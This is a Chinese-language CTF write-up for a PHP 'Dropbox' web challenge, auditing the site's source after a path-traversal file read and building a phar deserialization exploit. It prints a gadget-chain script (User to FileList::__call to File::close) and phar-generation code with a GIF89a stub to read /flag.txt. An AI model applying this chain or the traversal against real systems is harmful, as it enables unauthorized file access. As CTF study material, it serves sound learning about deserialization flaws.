Web_Dropbox

总结

这篇写的感觉比较奇怪,而且在写前两部分时还不会phar反序列化。

做到这一题的契机是2022DAS April-Web2需要用到phar反序列化并且直接给了这个题目作为例子。

花这么大笔墨写代码审计的原因是 在做2022DAS April-Web1的时候代码审计花了大量时间(那是当时我做过的最复杂的PHP代码审计),而看到这题时,发现这题的代码审计比那个还复杂。

个人感觉这题的难度接近2022DAS April-Web(1+2);慌了。

此处主要记录复现和代码审计流程。

(1)任意读

先注册,然后登录进去。上传个正常的文件,点下载,看包:

想到路径穿越文件任意读,试一试,果然有用。

试穿越层数,尝试读网站源码。最后发现源码在往外出两层的位置。

先读index.php,在里面发现还有login.php、register和class.php可以读。实际上,还有upload.php、download.php和delete.php可以读,但好像不能直接找到,只能靠脑洞:网站实现了照片的上传、下载和删除功能,大概对应upload、download和delete三个PHP文件吧

(2)代码审计(网站逻辑)

<1>预备工作

实际在做题中,不需要这么详细的代码审计(不用看网站逻辑,直接根据危险函数盘漏洞逻辑)。此处想多学点东西,所以全审一遍。

下附的代码,已经删去用处不大的部分HTML和所有CSS。

//index.php1
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>

PHP Session用于在服务器上存储用户信息以便随后使用。有了PHP Session,网站就可以知道用户是谁、之前干了什么,以进行状态保持

PHPSession的工作机制是:为每个访客创建一个唯一的id(UID),并基于这个UID来存储变量。UID一般储存在cookie中。

![image-20220506165118199](D:\markdown_photo\ciscn2019华北赛区 Dropbox\image-20220506165118199.png)

在PHP中,若想使用Session,需要session_start();。他必须写在文件的最前面(<html>标签的前面)。

此处通过Session验证登录状态;如果未登录,则转到login.php

于是,先去看login.php

//login.php
<?php
session_start();
if (isset($_SESSION['login'])) {
    header("Location: index.php");
    die();
}
?>
//登录状态检查;如果登录了直接重定向去index.php
    
<body>
<form action="login.php" method="POST">
    <input type="text" name="username" class="form-control" placeholder="Username">
    <input type="password" name="password" class="form-control" placeholder="Password">
    <button class="btn btn-lg btn-primary btn-block" type="submit">登录</button>
    <p class="mt-5 text-muted">不知道是啥汉字<a href="register.php">注册</a></p>
</form>
</body>
//登录表单;同时还提供了一个去注册页面的重定向。   
    
<?php
include "class.php";

if (isset($_GET['register'])) {
    echo "<script>toast(中文, 'info');</script>";
}

if (isset($_POST["username"]) && isset($_POST["password"])) {
    $u = new User();
    //注意这里有个对User类的使用;后续不一定能用到,但多长个心眼。
    $username = (string) $_POST["username"];
    $password = (string) $_POST["password"];
    if (strlen($username) < 20 && $u->verify_user($username, $password)) {
        $_SESSION['login'] = true;
        $_SESSION['username'] = htmlentities($username);
        $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
        if (!is_dir($sandbox)) {
            mkdir($sandbox);
        }
        $_SESSION['sandbox'] = $sandbox;
        echo("<script>window.location.href='index.php';</script>");
        //确定登录状态之后修改SESSION各个值以记录该登录状态,然后重定向至index.php
        //同时,用sha1算法给该用户确定文件上传的目录
        die();
    }
    echo "<script>toast(中文, 'warning');</script>";
}
?>

register.php我们就不看了。继续回去看index.php

//index.php2
    <ol>
        <li>管理面板</li>
        <li><label for="fileInput" class="fileLabel">上传文件</label></li>
        <li><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
    </ol>
<input type="file" id="fileInput" class="hidden">
//表单实现文件上传和一些网页显示功能;<label for>将label表单与“fileInput”绑定。这个文件上传姿势可以学一学。

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
//有个对FileList类的使用;记下来。
//这tm $a是FileList类,Name()和Size()都是File类的方法,咋回事 麻了
?>

到这里,我们就搞清楚了登录逻辑。

<2>大的来咯

//class.php
/*
这里继续一行一行审就不是很好地选择了;根据网站的操作流程,
我们应该先看User类(login中初始化了它并调用了User::verify_user方法),
再看FileList类(index中使用用户的上传文档路径初始化了它并调用了Name()和Size()方法。
重点!!Name()和Size()方法根本不存在,也就是说,这里会调FileList::__call。
*/
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        //检查该用户是否存在
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        //提取并校验密码
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}
class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
     //大概是记录所有已有文件的各种属性
     //记住它调了File类和File::name()就行了、
     //files、funcs、results各储存啥还得后面才能看出来
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
        //__call方法必须由两个参数,第一个传递引起__call调用的方法名称,第二个传递该次调用中用到的参数名称。
        //结合index中调了Name()、Size()方法,知道这两字符串被存储进了$this->func
        //我们还可以看出,results是一个二维数组,第一维存储文件名,第二维存储属性
        //结合后面的File类,我们也大概知道files是干嘛的了
    }
    
   //__destruct的功能就是通过foreach将我们现在拥有的文件 名称、大小、可进行操作 作为表格输出.
   //此处可以结合浏览器中的HTML页面看。
   //经过这个函数,我们就完全知道funcs、results各是干嘛的了。
    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        //第一个foreach输出第一行的name和size
        $table .= '<th scope="col" class="text-center">Opt</th>';
        //输出第一行的opt
        $table .= '</thead><tbody>';
        //第二个foreach(外层的)输出之后的各个文件的各个属性
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            //这个foreach具体负责输出该文件的name和size属性;可以看出,result还是个数组
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            //输出‘下载’和‘删除’并提供链接
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

效果:

//File文件对应的是上面图上的一行内容;对象对应于一个文件,函数服务于单一内容选项。name()、size()、delete()的用法比较明确;另外两个暂时不太清楚。
class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
        //获取纯粹的文件名称(去除了路径)
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
        //获取并输出我们人习惯的文件大小
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

目前,我们已经大致了解本题网站的运行逻辑了。emmmmmm感觉对基本逻辑的理解对应的代码审计到这个程度就差不多了,接下来 我们进行面向漏洞挖掘的审计。

剩下几个部分实现的功能很明确,实现方法也肯定基于File类和其中各函数的调用。这里就不附出来看了。

(3)代码审计(漏洞挖掘)

漏洞挖掘的审计方式与之前完全不同。逻辑理解的审计方式基本是从前往后看跟随我们与网站交互会调用的代码内容来看,漏洞挖掘的审计方式是寻找危险函数,然后寻找可能的利用链

有心的我们在之前进行逻辑审计的时候应该已经做了记录:危险函数有File::close()file_get_contentsFile::delete()的unlink

由此,确定思路:构造反序列化链从File::close()进行任意文件读取,通过File::delete()删除伪造成jpg的phar文件触发反序列化。

利用链部分

User::destruct()-->FileList::call()-->File::close()-->FileList::__destruct()

想到从FileList::call()File::close()的原因有挺多的:首先,题目的正常功能实现本身就涉及了对FileList::call()的调用,算是一种提示;其次,通过之前的代码审计我们知道,FileList::call()承担了回显表格中建立列表项的作用。

用于生成链的脚本:

class User {
	public $db;
	public function __construct(){
		$this->db=new FileList();//用于从User::destruct()进FileList::call
	}
}

class FileList {
	private $files;
	private $results;
	private $funcs;
	public function __construct(){
		$this->files=array(new File());//用于进call里那个foreach并确保$file是File对象;
		$this->results=array();
		$this->funcs=array();
	}
}

class File {
	public $filename="/flag.txt";//用于执行File::close()的参数
}

$user = new User();

Phar部分

都是Phar类题的传统套路,不多说了。

不用审计delete.php也知道,它肯定会调用File::delete()

记得把phar.readonly设置成false。

$phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar
$phar-> startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置stub
$phar->setMetadata($user); //将对象user写入到metadata中
$phar->addFromString("shell.txt","haha"); //添加压缩文件,文件名字为shell.txt,内容为haha
$phar->stopBuffering();

实操

posted @ 2022-09-08 15:29  hiddener  阅读(22)  评论(0编辑  收藏  举报